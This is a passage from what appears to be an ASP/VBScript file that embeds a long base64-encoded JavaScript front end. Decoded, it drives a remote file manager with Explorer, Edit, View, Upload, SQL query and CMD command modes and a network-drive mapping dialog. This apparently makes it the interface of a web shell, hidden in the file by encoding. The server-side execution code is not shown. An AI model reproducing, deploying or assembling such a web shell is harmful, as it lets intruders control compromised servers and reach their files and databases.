  778. "ICIgKyBlZGl0UGF0aFtlZGl0UGF0aC5sZW5ndGgtMV0gKyAiIHNhdmVkICEiKTsKCQkJCQkJCWJyZWFrOwoJCQkJCQljYXNlICJuZXdGaWxlIiA6CgkJCQkJCQlub0ZpbGUgKz0gMTsKCQkJCQkJCXNldEl0ZW1zQ291bnQoKTsKCQkJCQkJCWZmTGlzdC5maWxlcy5wdXNoKGFjdGlvblJlc3BvbnNlLmFjdGlvbi5uZXdJdGVtKTsK" &_
  779. "CQkJCQkJCWdldElkKCJ0YmxMaXN0IikuaW5zZXJ0QmVmb3JlKGFkZEZpbGVSb3coZmZMaXN0LmZpbGVzLmxpc3RGaW5kKGFjdGlvblJlc3BvbnNlLmFjdGlvbi5uZXdJdGVtLnNwbGl0KCJ8IilbMF0pKSwgZ2V0SWQoInRibExpc3QiKS5sYXN0Q2hpbGQubmV4dFNpYmxpbmcpOwoJCQkJCQkJYnJlYWs7CgkJCQkJCWNhc2UgIm5l" &_
  780. "d0ZvbGRlciIgOgoJCQkJCQkJbm9Gb2xkZXIgKz0gMTsKCQkJCQkJCXNldEl0ZW1zQ291bnQoKTsKCQkJCQkJCWZmTGlzdC5mb2xkZXJzLnB1c2goYWN0aW9uUmVzcG9uc2UuYWN0aW9uLm5ld0l0ZW0pOwoJCQkJCQkJZ2V0SWQoInRibExpc3QiKS5pbnNlcnRCZWZvcmUoYWRkRm9sZGVyUm93KGZmTGlzdC5mb2xkZXJzLmxpc3RG" &_
  781. "aW5kKGFjdGlvblJlc3BvbnNlLmFjdGlvbi5uZXdJdGVtLnNwbGl0KCJ8IilbMF0pKSwgZ2V0SWQoImdhcDAiKSk7CgkJCQkJCQlicmVhazsKCQkJCQkJY2FzZSAibW92ZSIgOgoJCQkJCQljYXNlICJkZWxldGUiIDoKCQkJCQkJCXJzcEZvbGRlcnMgPSBhY3Rpb25SZXNwb25zZS5hY3Rpb24uZm9sZGVyc0lkLnNwbGl0KCJ8Iik7" &_
  782. "CgkJCQkJCQlyc3BGaWxlcyA9IGFjdGlvblJlc3BvbnNlLmFjdGlvbi5maWxlc0lkLnNwbGl0KCJ8Iik7CgoJCQkJCQkJaWYocnNwRm9sZGVycy5sZW5ndGggPiAxKQoJCQkJCQkJewoJCQkJCQkJCWZvcihpPTA7aTxyc3BGb2xkZXJzLmxlbmd0aC0xO2krKykKCQkJCQkJCQl7CgkJCQkJCQkJCW5vRm9sZGVyIC09IDE7CgkJCQkJ" &_
  783. "CQkJCXNldEl0ZW1zQ291bnQoKTsKCQkJCQkJCQkJZ2V0SWQoInRibExpc3QiKS5yZW1vdmVDaGlsZChnZXRJZCgiZm9sZGVyIiArIGZmTGlzdC5mb2xkZXJzLmxpc3RGaW5kKHJzcEZvbGRlcnNbaV0pKSk7CgkJCQkJCQkJfQoJCQkJCQkJfQoKCQkJCQkJCWlmKHJzcEZpbGVzLmxlbmd0aCA+IDEpCgkJCQkJCQl7CgkJCQkJCQkJ" &_
  784. "Zm9yKGk9MDtpPHJzcEZpbGVzLmxlbmd0aC0xO2krKykKCQkJCQkJCQl7CgkJCQkJCQkJCW5vRmlsZSAtPSAxOwoJCQkJCQkJCQlzZXRJdGVtc0NvdW50KCk7CgkJCQkJCQkJCWdldElkKCJ0YmxMaXN0IikucmVtb3ZlQ2hpbGQoZ2V0SWQoImZpbGUiICsgZmZMaXN0LmZpbGVzLmxpc3RGaW5kKHJzcEZpbGVzW2ldKSkpOwoJCQkJ" &_
  785. "CQkJCX0KCQkJCQkJCX0KCQkJCQkJCWJyZWFrOwoJCQkJCQl9CgkJCQkJCXNob3dkaXYoInRibEVyciIsIGZhbHNlKTsKCQkJCQkJaWYoYWN0aW9uUmVzcG9uc2UuYWN0aW9uLm1zZ1Jlc3BvbnNlKQoJCQkJCQkJYWxlcnQoYWN0aW9uUmVzcG9uc2UuYWN0aW9uLm1zZ1Jlc3BvbnNlKTsKCQkJCQl9CgkJCQl9ZWxzZXsKCQkJCQkJ" &_
  786. "aWYocmVzcG9uc2UgPT0gJycpewoJCQkJCQkJYWxlcnQoIlNlc3Npb24gVGltZW91dC4gUGxlYXNlIGxvZ2luIGFnYWluICEiKTsKCQkJCQkJfWVsc2V7CgkJCQkJCQlhbGVydCgiQmFkIHJlc3BvbnNlICEhISIpOwoJCQkJCQl9CgkJCQkJCWNoYW5nZVVybCA9IHRydWU7CgkJCQl9CgkJCX1lbHNlewoJCQkJCWNsZWFyVGltZW91" &_
  787. "dCAoIHNhdmVUaW1lciApOwoJCQkJCWFsZXJ0KCJCYWQgcmVzcG9uc2UgSFRUUCBTdGF0dXMgKCIrIGh0dHAuc3RhdHVzICsiKSAhISEiKTsKCQkJCQljaGFuZ2VVcmwgPSB0cnVlOwoJCQkJfQoJCQlpZighc2F2ZVRpbWVyKXsKCQkJCXNob3dNb2RlKHNob3dDb250ZW50LCBjaGFuZ2VVcmwpOwoJCQkJaGlkZUxvYWRpbmcoKTsK" &_
  788. "CQkJfQoJCQljdXJyZW50X3J1bm5pbmcgPSBmYWxzZTsKCQl9Cgl9Y2F0Y2goZSl7CgkJY2xlYXJUaW1lb3V0ICggc2F2ZVRpbWVyICk7CgkJYWxlcnQoIkphdmFzY3JpcHQgUHJvYmxlbSAhISEiKTsKCQlzaG93TW9kZSgiRXhwbG9yZXIiLCBmYWxzZSk7CgkJY3VycmVudF9ydW5uaW5nID0gZmFsc2U7CgkJaGlkZUxvYWRpbmco" &_
  789. "KTsKCX0KCWZpbmFsbHl7fQp9CgpmdW5jdGlvbiBzZXRJdGVtc0NvdW50KCkKewoJZ2V0SWQoImZvbGRlck5vIikuaW5uZXJIVE1MID0gZmZMaXN0LmZvbGRlcnMubGVuZ3RoICsgbm9Gb2xkZXI7CglnZXRJZCgiZmlsZU5vIikuaW5uZXJIVE1MID0gZmZMaXN0LmZpbGVzLmxlbmd0aCArIG5vRmlsZTsKCglnZXRJZCgidG90YWxG" &_
  790. "b2xkZXJzIikuaW5uZXJIVE1MID0gZmZMaXN0LnN0YXR1cy50b3RhbEZvbGRlcnMgKyBub0ZvbGRlcjsKCWdldElkKCJ0b3RhbEZpbGVzIikuaW5uZXJIVE1MID0gZmZMaXN0LnN0YXR1cy50b3RhbEZpbGVzICsgbm9GaWxlOwp9CgpmdW5jdGlvbiBnZXRWYXIodXJsLGNudCkKewoJdXJsPXVybCsnIyc7Cgl1cmw9dXJsLnNwbGl0" &_
  791. "KCcjJyk7CglpZiAoIXVybFsxXSkgd2luZG93LmxvY2F0aW9uLmhyZWYgPSAnI0V4cGxvcmVyfFxcJzsKCXVybD11cmxbMV07Cgl1cmw9dXJsKyd8JzsKCXVybD11cmwuc3BsaXQoJ3wnKTsKCWlmIChjbnQgIT0gLTEpIHsKCQl1cmw9dXJsW2NudF07CgkJaWYgKCF1cmwpIHJldHVybiAnJzsKCX0KCXJldHVybiB1bmVzY2FwZSh1" &_
  792. "cmwpOwp9CgpmdW5jdGlvbiBsb2FkUGFnZSgpIHsKCWFjdCA9IGdldFZhcih3aW5kb3cubG9jYXRpb24uaHJlZiwwKTsKCglpZihnZXRWYXIobGFzdFVybCwwKSA9PSAnRXhwbG9yZXInKXsKCQlwb3NFeHAgPSBjdXJfcG9zKCk7Cgl9ZWxzZSBpZihnZXRWYXIobGFzdFVybCwwKSA9PSAnU1FMJyl7CgkJcG9zU1FMID0gY3VyX3Bv" &_
  793. "cygpOwoJfQoKCWlmIChhY3QgPT0gJ0V4cGxvcmVyJykgewoJCXBvc0V4cCA9IDA7CgkJY3VycmVudF9sb2NhdGlvbj1nZXRWYXIod2luZG93LmxvY2F0aW9uLmhyZWYsMSkuYWRkU2xhc2goKTsKCQlpZiAoY3VycmVudF9sb2NhdGlvbikgc2VuZFJlcXVlc3QoY3VycmVudF9sb2NhdGlvbik7CgkJZWxzZSBzZW5kUmVxdWVzdCgn" &_
  794. "XFwnKTsKCX0gZWxzZSBpZiAoYWN0ID09ICdFZGl0JykgewoJCWxvYWRGaWxlKCk7Cgl9IGVsc2UgaWYgKGFjdCA9PSAnVmlldycpIHsKCQlpbWdfdmlldyA9IG5ldyBJbWFnZSgpOwoJCWltZ192aWV3LnNyYyA9ICI/bW9kZT12aWV3JmltYWdlUGF0aD0iICsgZ2V0VmFyKHdpbmRvdy5sb2NhdGlvbi5ocmVmLDEpOwoJCWltZ192" &_
  795. "aWV3Lm9uZXJyb3IgPSBmdW5jdGlvbigpe2FsZXJ0KCJDYW4gbm90IGxvYWQgdGhlIGltYWdlICEiKTtpbWdfdmlldyA9IG51bGw7fTsKCQlpbWdfdmlldy5vbmxvYWQgPSBmdW5jdGlvbigpe2lmKGltZ192aWV3LndpZHRoPjgwMCl7Z2V0SWQoImltZ1BpY3R1cmUiKS53aWR0aCA9ICI4MDAiO2dldElkKCJpbWdQaWN0dXJlIiku" &_
  796. "aGVpZ2h0ID0gKGltZ192aWV3LmhlaWdodCAqIDgwMCAvIGltZ192aWV3LndpZHRoKTt9ZWxzZXtnZXRJZCgiaW1nUGljdHVyZSIpLndpZHRoID0gaW1nX3ZpZXcud2lkdGg7Z2V0SWQoImltZ1BpY3R1cmUiKS5oZWlnaHQgPSBpbWdfdmlldy5oZWlnaHQ7fWdldElkKCJpbWdQaWN0dXJlIikuc3JjID0gaW1nX3ZpZXcuc3JjO2lt" &_
  797. "Z192aWV3ID0gbnVsbDt9OwoJCXNob3dNb2RlKGFjdCk7Cgl9ICBlbHNlIGlmIChhY3QgPT0gJ1NRTCcpIHsKCQlzaG93TW9kZShhY3QpOwoJfSAgZWxzZSBpZiAoYWN0ID09ICdDTUQnKSB7CgkJc2hvd01vZGUoYWN0KTsKCX0gIGVsc2UgaWYgKGFjdCA9PSAnVXBsb2FkJykgewoJCWdldElkKCJ1cGxvYWRMb2NhdGlvbiIpLmlu" &_
  798. "bmVySFRNTCA9IGdldFZhcih3aW5kb3cubG9jYXRpb24uaHJlZiwxKS5hZGRTbGFzaCgpOwoJCWdldElkKCJ0eHR1cGxvYWRMb2NhdGlvbiIpLnZhbHVlID0gZ2V0VmFyKHdpbmRvdy5sb2NhdGlvbi5ocmVmLDEpLmFkZFNsYXNoKCk7CgkJZ2V0SWQoImxpbmtCYWNrIikudmFsdWUgPSBsYXN0VXJsQmFja3VwOwoJCXNob3dNb2Rl" &_
  799. "KGFjdCk7Cgl9Cn0KCmZ1bmN0aW9uIGxvYWRNb3JlKCkgewoJaWYoIWZmTGlzdC5zdGF0dXMuZmluaXNoZWQpCgkJc2VuZFJlcXVlc3QoZmZMaXN0LmluZm8ucGF0aC5hZGRTbGFzaCgpLCBmZkxpc3Quc3RhdHVzLml0ZW1TdGFydCArIDIwMCk7Cn0KCmZ1bmN0aW9uIGN1cl9wb3MoKSB7Cgl2YXIgdG9wID0gZG9jdW1lbnQuYm9k" &_
  800. "eS5zY3JvbGxUb3AKICAgID8gZG9jdW1lbnQuYm9keS5zY3JvbGxUb3AKICAgIDogKHdpbmRvdy5wYWdlWU9mZnNldAogICAgICAgID8gd2luZG93LnBhZ2VZT2Zmc2V0CiAgICAgICAgOiAoZG9jdW1lbnQuYm9keS5wYXJlbnRFbGVtZW50CiAgICAgICAgICAgID8gZG9jdW1lbnQuYm9keS5wYXJlbnRFbGVtZW50LnNjcm9sbFRv" &_
  801. "cAogICAgICAgICAgICA6IDAKICAgICAgICApCiAgICApOwoKCXJldHVybiB0b3A7Cn0KCmZ1bmN0aW9uIHNob3dkaXYoaWQsIHNob3csIHRhYmxlKSB7CglnZXRJZChpZCkuc3R5bGUuZGlzcGxheSA9IChzaG93KSA/ICh0YWJsZSA/ICd0YWJsZScgOiAnYmxvY2snKSA6ICdub25lJzsKfQoKZnVuY3Rpb24gc2hvd01vZGUobW9k" &_
  802. "ZSwgY2hhbmdlVXJsKSB7CgljdXJyX21vZGU9Z2V0VmFyKHdpbmRvdy5sb2NhdGlvbi5ocmVmLDApOwoJbGFzdF9tb2RlPWdldFZhcihsYXN0VXJsLDApOwoKCWlmKGxhc3RfbW9kZSA9PSAnRXhwbG9yZXInKXsKCQlwb3NFeHAgPSBjdXJfcG9zKCk7Cgl9ZWxzZSBpZihsYXN0X21vZGUgPT0gJ1NRTCcpewoJCXBvc1NRTCA9IGN1" &_
  803. "cl9wb3MoKTsKCX0KCQoJaWYoY2hhbmdlVXJsICYmIGN1cnJfbW9kZSAhPSAiRXhwbG9yZXIiKQoJewoJCWxhc3RVcmwgPSBsYXN0VXJsQmFja3VwOwoJCXdpbmRvdy5sb2NhdGlvbi5ocmVmID0gbGFzdFVybEJhY2t1cDsKCQlnZXRJZCgicmVtb3RlIikudmFsdWUgPSBmZkxpc3QuaW5mby5wYXRoLmFkZFNsYXNoKCk7CgkJZ2V0" &_
  804. "SWQoInJlbW90ZUNvcHkiKS52YWx1ZSA9IGZmTGlzdC5pbmZvLnBhdGguYWRkU2xhc2goKTsKCQlnZXRJZCgicmVtb3RlTW92ZSIpLnZhbHVlID0gZmZMaXN0LmluZm8ucGF0aC5hZGRTbGFzaCgpOwoJfQoKCWlmKG1vZGUgIT0gIlZpZXciKXsKCQlnZXRJZCgiaW1nUGljdHVyZSIpLnNyYyA9IGltZ19sb2FkaW5nLnNyYzsKCQln" &_
  805. "ZXRJZCgiaW1nUGljdHVyZSIpLndpZHRoID0gaW1nX2xvYWRpbmcud2lkdGg7CgkJZ2V0SWQoImltZ1BpY3R1cmUiKS5oZWlnaHQgPSBpbWdfbG9hZGluZy5oZWlnaHQ7Cgl9CgoJc2hvd2RpdigidGJsQ29udGVudCIsIChtb2RlID09ICJFeHBsb3JlciIpLCB0cnVlKTsKCXNob3dkaXYoImZmTm8iLCAobW9kZSA9PSAiRXhwbG9y" &_
  806. "ZXIiKSk7CglzaG93ZGl2KCJ0YmxEcml2ZXJzIiwgKG1vZGUgPT0gIkV4cGxvcmVyIiksIHRydWUpOwoKCXNob3dkaXYoInRibEZpbGVFZGl0IiwgKG1vZGUgPT0gIkVkaXQiKSwgdHJ1ZSk7CglzaG93ZGl2KCJ0YmxQaWN0dXJlIiwgKG1vZGUgPT0gIlZpZXciKSwgdHJ1ZSk7CglzaG93ZGl2KCJ0YmxVcGxvYWQiLCAobW9kZSA9" &_
  807. "PSAiVXBsb2FkIiksIHRydWUpOwoJc2hvd2RpdigidGJsQ21kIiwgKG1vZGUgPT0gIkNNRCIpLCB0cnVlKTsKCXNob3dkaXYoInRibFNxbCIsIChtb2RlID09ICJTUUwiKSwgdHJ1ZSk7CgoJaWYobW9kZSA9PSAiRXhwbG9yZXIiICYmIGN1cnJfbW9kZSAhPSAiRXhwbG9yZXIiKXsKCQl3aW5kb3cuc2Nyb2xsVG8oMCwgcG9zRXhw" &_
  808. "KTsKCX0KCQoJaWYobW9kZSA9PSAiRXhwbG9yZXIiICYmIGN1cnJfbW9kZSA9PSAiRXhwbG9yZXIiICYmIGNoYW5nZVVybCl7CgkJd2luZG93LnNjcm9sbFRvKDAsIDApOwoJfQoKCWlmKG1vZGUgPT0gIlNRTCIgJiYgbGFzdF9tb2RlICE9ICJTUUwiKXsKCQl3aW5kb3cuc2Nyb2xsVG8oMCwgcG9zU1FMKTsKCX0KCglpZihtb2Rl" &_
  809. "ID09ICJTUUwiICYmIGxhc3RfbW9kZSA9PSAiU1FMIil7CgkJd2luZG93LnNjcm9sbFRvKDAsIDApOwoJfQp9CgpmdW5jdGlvbiBzaG93TWFwTmV0d29yaygpCnsKCWdldElkKCJvdmVybGF5Iikuc3R5bGUud2lkdGg9Z2V0UGFnZVNpemUoKVswXSsncHgnOwoJZ2V0SWQoIm92ZXJsYXkiKS5zdHlsZS5oZWlnaHQ9Z2V0UGFnZVNp" &_
  810. "emUoKVsxXSsncHgnOwoKCXNob3dkaXYoIm92ZXJsYXkiLCB0cnVlKTsKCXNob3dkaXYoInRibE1hcERyaXZlciIsIHRydWUpOwp9CgpmdW5jdGlvbiBoaWRlTWFwTmV0d29yaygpCnsKCWdldElkKCJvdmVybGF5Iikuc3R5bGUud2lkdGg9JzBweCc7CglnZXRJZCgib3ZlcmxheSIpLnN0eWxlLmhlaWdodD0nMHB4JzsKCglzaG93" &_
  811. "ZGl2KCJvdmVybGF5IiwgZmFsc2UpOwoJc2hvd2RpdigidGJsTWFwRHJpdmVyIiwgZmFsc2UpOwp9CgpmdW5jdGlvbiBzaG93TG9hZGluZygpCnsKCWdldElkKCJvdmVybGF5Iikuc3R5bGUud2lkdGg9Z2V0UGFnZVNpemUoKVswXSsncHgnOwoJZ2V0SWQoIm92ZXJsYXkiKS5zdHlsZS5oZWlnaHQ9Z2V0UGFnZVNpemUoKVsxXSsn" &_
  812. "cHgnOwoKCXNob3dkaXYoIm92ZXJsYXkiLCB0cnVlKTsKCXNob3dkaXYoInRibExvYWRpbmciLCB0cnVlKTsKfQoKZnVuY3Rpb24gaGlkZUxvYWRpbmcoKQp7CglzaG93ZGl2KCJvdmVybGF5IiwgZmFsc2UpOwoJc2hvd2RpdigidGJsTG9hZGluZyIsIGZhbHNlKTsKCWdldElkKCJvdmVybGF5Iikuc3R5bGUud2lkdGg9JzBweCc7" &_
  813. "CglnZXRJZCgib3ZlcmxheSIpLnN0eWxlLmhlaWdodD0nMHB4JzsKfQoKZnVuY3Rpb24gZ2V0UGFnZVNpemUoKSB7CgoJIHZhciB4U2Nyb2xsLCB5U2Nyb2xsOwoKCWlmICh3aW5kb3cuaW5uZXJIZWlnaHQgJiYgd2luZG93LnNjcm9sbE1heFkpIHsKCQl4U2Nyb2xsID0gd2luZG93LmlubmVyV2lkdGggKyB3aW5kb3cuc2Nyb2xs" &_
  814. "TWF4WDsKCQl5U2Nyb2xsID0gd2luZG93LmlubmVySGVpZ2h0ICsgd2luZG93LnNjcm9sbE1heFk7Cgl9IGVsc2UgaWYgKGRvY3VtZW50LmJvZHkuc2Nyb2xsSGVpZ2h0ID4gZG9jdW1lbnQuYm9keS5vZmZzZXRIZWlnaHQpeyAvLyBhbGwgYnV0IEV4cGxvcmVyIE1hYwoJCXhTY3JvbGwgPSBkb2N1bWVudC5ib2R5LnNjcm9sbFdp" &_
  815. "ZHRoOwoJCXlTY3JvbGwgPSBkb2N1bWVudC5ib2R5LnNjcm9sbEhlaWdodDsKCX0gZWxzZSB7IC8vIEV4cGxvcmVyIE1hYy4uLndvdWxkIGFsc28gd29yayBpbiBFeHBsb3JlciA2IFN0cmljdCwgTW96aWxsYSBhbmQgU2FmYXJpCgkJeFNjcm9sbCA9IGRvY3VtZW50LmJvZHkub2Zmc2V0V2lkdGg7CgkJeVNjcm9sbCA9IGRvY3Vt" &_
  816. "ZW50LmJvZHkub2Zmc2V0SGVpZ2h0OwoJfQoKCXZhciB3aW5kb3dXaWR0aCwgd2luZG93SGVpZ2h0OwoKCWlmIChzZWxmLmlubmVySGVpZ2h0KSB7CS8vIGFsbCBleGNlcHQgRXhwbG9yZXIKCQlpZihkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50V2lkdGgpewoJCQl3aW5kb3dXaWR0aCA9IGRvY3VtZW50LmRvY3VtZW50" &_
  817. "RWxlbWVudC5jbGllbnRXaWR0aDsKCQl9IGVsc2UgewoJCQl3aW5kb3dXaWR0aCA9IHNlbGYuaW5uZXJXaWR0aDsKCQl9CgkJd2luZG93SGVpZ2h0ID0gc2VsZi5pbm5lckhlaWdodDsKCX0gZWxzZSBpZiAoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50ICYmIGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRIZWlnaHQpIHsg" &_
  818. "Ly8gRXhwbG9yZXIgNiBTdHJpY3QgTW9kZQoJCXdpbmRvd1dpZHRoID0gZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudFdpZHRoOwoJCXdpbmRvd0hlaWdodCA9IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRIZWlnaHQ7Cgl9IGVsc2UgaWYgKGRvY3VtZW50LmJvZHkpIHsgLy8gb3RoZXIgRXhwbG9yZXJzCgkJ" &_
  819. "d2luZG93V2lkdGggPSBkb2N1bWVudC5ib2R5LmNsaWVudFdpZHRoOwoJCXdpbmRvd0hlaWdodCA9IGRvY3VtZW50LmJvZHkuY2xpZW50SGVpZ2h0OwoJfQoKCS8vIGZvciBzbWFsbCBwYWdlcyB3aXRoIHRvdGFsIGhlaWdodCBsZXNzIHRoZW4gaGVpZ2h0IG9mIHRoZSB2aWV3cG9ydAoJaWYoeVNjcm9sbCA8IHdpbmRvd0hlaWdo" &_
  820. "dCl7CgkJcGFnZUhlaWdodCA9IHdpbmRvd0hlaWdodDsKCX0gZWxzZSB7CgkJcGFnZUhlaWdodCA9IHlTY3JvbGw7Cgl9CgoJLy8gZm9yIHNtYWxsIHBhZ2VzIHdpdGggdG90YWwgd2lkdGggbGVzcyB0aGVuIHdpZHRoIG9mIHRoZSB2aWV3cG9ydAoJaWYoeFNjcm9sbCA8IHdpbmRvd1dpZHRoKXsKCQlwYWdlV2lkdGggPSB4U2Ny" &_
  821. "b2xsOwoJfSBlbHNlIHsKCQlwYWdlV2lkdGggPSB3aW5kb3dXaWR0aDsKCX0KCglyZXR1cm4gW3BhZ2VXaWR0aCxwYWdlSGVpZ2h0XTsKfQoKZnVuY3Rpb24gdXJsQ2hlY2soKQp7Cgl1cmw9d2luZG93LmxvY2F0aW9uLmhyZWY7CglpZiAodXJsICE9ICcnICYmIHVybCE9bGFzdFVybCkKCXsKCQlpZighY3VycmVudF9ydW5uaW5n" &_
  822. "KXsKCQkJbG9hZFBhZ2UoKTsKCQkJbGFzdFVybD11cmw7CgkJfWVsc2V7CgkJCWFsZXJ0KCJMZXQgdGhlIGN1cnJlbnRseSBydW5uaW5nIHRhc2sgZmluaXNoIGZpcnN0ICEiKTsKCQkJd2luZG93LmxvY2F0aW9uLmhyZWYgPSBsYXN0VXJsOwoJCX0KCX0KfQoKZnVuY3Rpb24gc3RhcnRMb2FkKCkgewoJaW1nX2xvYWRpbmcgPSAg" &_
  823. "bmV3IEltYWdlKCk7CglpbWdfbG9hZGluZy5zcmM9Ij9tb2RlPWltYWdlJmltZ0lkPWxvYWRpbmciOwoJLy9hZGRFdmVudChkb2N1bWVudCwgImtleWRvd24iLCBrZXlDYXB0dXJlLCB0cnVlKTsKCWludGVydmFsID0gc2V0SW50ZXJ2YWwoJ3VybENoZWNrKCknLDEwMCk7Cn0KCgpmdW5jdGlvbiBhZGRUUihpZCwgeHR5cGUsIGNz" &_
  824. "c0NsYXNzKSB7CiAgdmFyIG5ld1RSID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnVFInKTsKICBuZXdUUi5zZXRBdHRyaWJ1dGUoJ2lkJyx4dHlwZSsnJytpZCk7CiAgaWYoY3NzQ2xhc3MpCgluZXdUUi5zZXRBdHRyaWJ1dGUoKGlzSUUgPyAnY2xhc3NOYW1lJyA6ICdjbGFzcycpLCBjc3NDbGFzcyk7CnJldHVybiBuZXdUUjsK" &_
  825. "fQoKZnVuY3Rpb24gYWRkVEQodGV4dCwgY3NzQ2xhc3MsIHdpZHRoLCBhbGlnbikgewogIHZhciBuZXdURCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ1REJyk7CiAgbmV3VEQuaW5uZXJIVE1MID0gdGV4dDsKICBpZihjc3NDbGFzcykKCW5ld1RELnNldEF0dHJpYnV0ZSgoaXNJRSA/ICdjbGFzc05hbWUnIDogJ2NsYXNzJyks" &_
  826. "IGNzc0NsYXNzKTsKICBpZih3aWR0aCkKCW5ld1RELnNldEF0dHJpYnV0ZSgnd2lkdGgnLHdpZHRoKTsKICBpZihhbGlnbikKCW5ld1RELnNldEF0dHJpYnV0ZSgnYWxpZ24nLGFsaWduKTsKcmV0dXJuIG5ld1REOwp9CgpmdW5jdGlvbiBhZGRUQk9EWShpZCkgewogIHZhciBuZXdUQk9EWSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1l" &_
  827. "bnQoJ1RCT0RZJyk7CiAgaWYoaWQpCgluZXdUQk9EWS5zZXRBdHRyaWJ1dGUoJ2lkJywgaWQpOwpyZXR1cm4gbmV3VEJPRFk7Cn0KCmZ1bmN0aW9uIGFkZFRIRUFEKGlkKSB7CiAgdmFyIG5ld1RIRUFEID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnVEhFQUQnKTsKICBpZihpZCkKCW5ld1RIRUFELnNldEF0dHJpYnV0ZSgnaWQn" &_
  828. "LCBpZCk7CnJldHVybiBuZXdUSEVBRDsKfQoKZnVuY3Rpb24gYWRkTGluayh0ZXh0LCBocmVmLCBjc3NDbGFzcykgewogIHZhciBuZXdMaW5rID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnQScpOwogIG5ld0xpbmsuaW5uZXJIVE1MID0gdGV4dDsKICBpZihocmVmKQoJbmV3TGluay5zZXRBdHRyaWJ1dGUoJ2hyZWYnLCBocmVm" &_
  829. "KTsKICBpZihjc3NDbGFzcykKCW5ld0xpbmsuc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgY3NzQ2xhc3MpOwpyZXR1cm4gbmV3TGluazsKfQoKZnVuY3Rpb24gZGlzcGxheVNRTENvbnRlbnQoc3FsUmVzdWx0KQp7Cgl3aGlsZShnZXRJZCgic3FsQ29udGVudCIpLmhhc0NoaWxkTm9kZXMoKSkK" &_
  830. "CXsKCQlnZXRJZCgic3FsQ29udGVudCIpLnJlbW92ZUNoaWxkKGdldElkKCJzcWxDb250ZW50IikuZmlyc3RDaGlsZCk7Cgl9CgoJaWYoc3FsUmVzdWx0LmFjdGlvbi5oZWFkZXIubGVuZ3RoID4gMCl7CgkJZ2V0SWQoImFmZmVjdGVkIikuaW5uZXJIVE1MID0gc3FsUmVzdWx0LmFjdGlvbi5kYXRhLmxlbmd0aDsKCQlnZXRJZCgi" &_
  831. "bHN0QWZmIikuaW5uZXJIVE1MID0gImxpc3RlZCI7Cgl9ZWxzZXsKCQlnZXRJZCgiYWZmZWN0ZWQiKS5pbm5lckhUTUwgPSBzcWxSZXN1bHQuYWN0aW9uLmFmZmVjdGVkOwoJCWdldElkKCJsc3RBZmYiKS5pbm5lckhUTUwgPSAiYWZmZWN0ZWQiOwoJfQoKCWlmKHNxbFJlc3VsdC5hY3Rpb24uaGVhZGVyICYmIHNxbFJlc3VsdC5h" &_
  832. "Y3Rpb24uaGVhZGVyLmxlbmd0aCA+IDApewoJCW5ld0hlYWQgPSBhZGRUSEVBRCgpOwoJCW5ld1JvdyA9IGFkZFRSKDAsICJzcWxIZWFkIik7CgkJZm9yIChpPTA7aTxzcWxSZXN1bHQuYWN0aW9uLmhlYWRlci5sZW5ndGg7aSsrKQoJCXsKCQkJbmV3Q29sID0gYWRkVEQoc3FsUmVzdWx0LmFjdGlvbi5oZWFkZXJbaV0sICJ0YWJs" &_
  833. "ZUhlYWQiKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKG5ld0NvbCk7CgkJfQoJCW5ld0hlYWQuYXBwZW5kQ2hpbGQobmV3Um93KTsKCQlnZXRJZCgic3FsQ29udGVudCIpLmFwcGVuZENoaWxkKG5ld0hlYWQpOwoKCQluZXdUYm9keSA9IGFkZFRCT0RZKCJyb3dDb250ZW50Iik7CgkJZm9yIChpPTA7aTxzcWxSZXN1bHQuYWN0aW9u" &_
  834. "LmRhdGEubGVuZ3RoO2krKykKCQl7CgkJCW5ld1JvdyA9IGFkZFRSKGksICJzcWxSb3ciKTsKCQkJCWZvciAoaj0wO2o8c3FsUmVzdWx0LmFjdGlvbi5kYXRhW2ldLmxlbmd0aDtqKyspCgkJCQl7CgkJCQkJbmV3Q29sID0gYWRkVEQoc3FsUmVzdWx0LmFjdGlvbi5kYXRhW2ldW2pdLCAia2JydG0iKTsKCQkJCQluZXdSb3cuYXBw" &_
  835. "ZW5kQ2hpbGQobmV3Q29sKTsKCQkJCX0KCQkJbmV3VGJvZHkuYXBwZW5kQ2hpbGQobmV3Um93KTsKCQl9CgkJZ2V0SWQoInNxbENvbnRlbnQiKS5hcHBlbmRDaGlsZChuZXdUYm9keSk7Cgl9Cn0KCmZ1bmN0aW9uIGRpc3BsYXlDb250ZW50KGZvbGRlck5ldywgZmlsZU5ldykKewoJaWYoIWZmTGlzdCkKCXsKCQlyZXR1cm47Cgl9" &_
  836. "CgoJaWYoZmZMaXN0LmZvbGRlcnMubGVuZ3RoIC0gZm9sZGVyTmV3ID09IDAgJiYgZmZMaXN0LmZpbGVzLmxlbmd0aCAtIGZpbGVOZXcgPT0gMCl7CgkJY2xlYXJDb250ZW50KCk7CgoJCXZhciBuZXd0YmxMaXN0ID0gYWRkVEJPRFkoJ3RibExpc3QnKTsKCQlnZXRJZCgidGJsQ29udGVudCIpLmluc2VydEJlZm9yZShuZXd0YmxM" &_
  837. "aXN0LCBnZXRJZCgidGJsQ29tbWFuZCIpKTsKCgkJbGV2ZWxSb290ID0gZmZMaXN0LmluZm8ucGF0aC5zcGxpdCgiXFwiKTsKCQlsZXZlbFJvb3QgPSBsZXZlbFJvb3RbMF07CgoJCWxldmVsVXAgPSBmZkxpc3QuaW5mby5wYXRoLnNwbGl0KCJcXCIpOwoJCWxldmVsVXAgPSBmZkxpc3QuaW5mby5wYXRoLnJlcGxhY2UobGV2ZWxV" &_
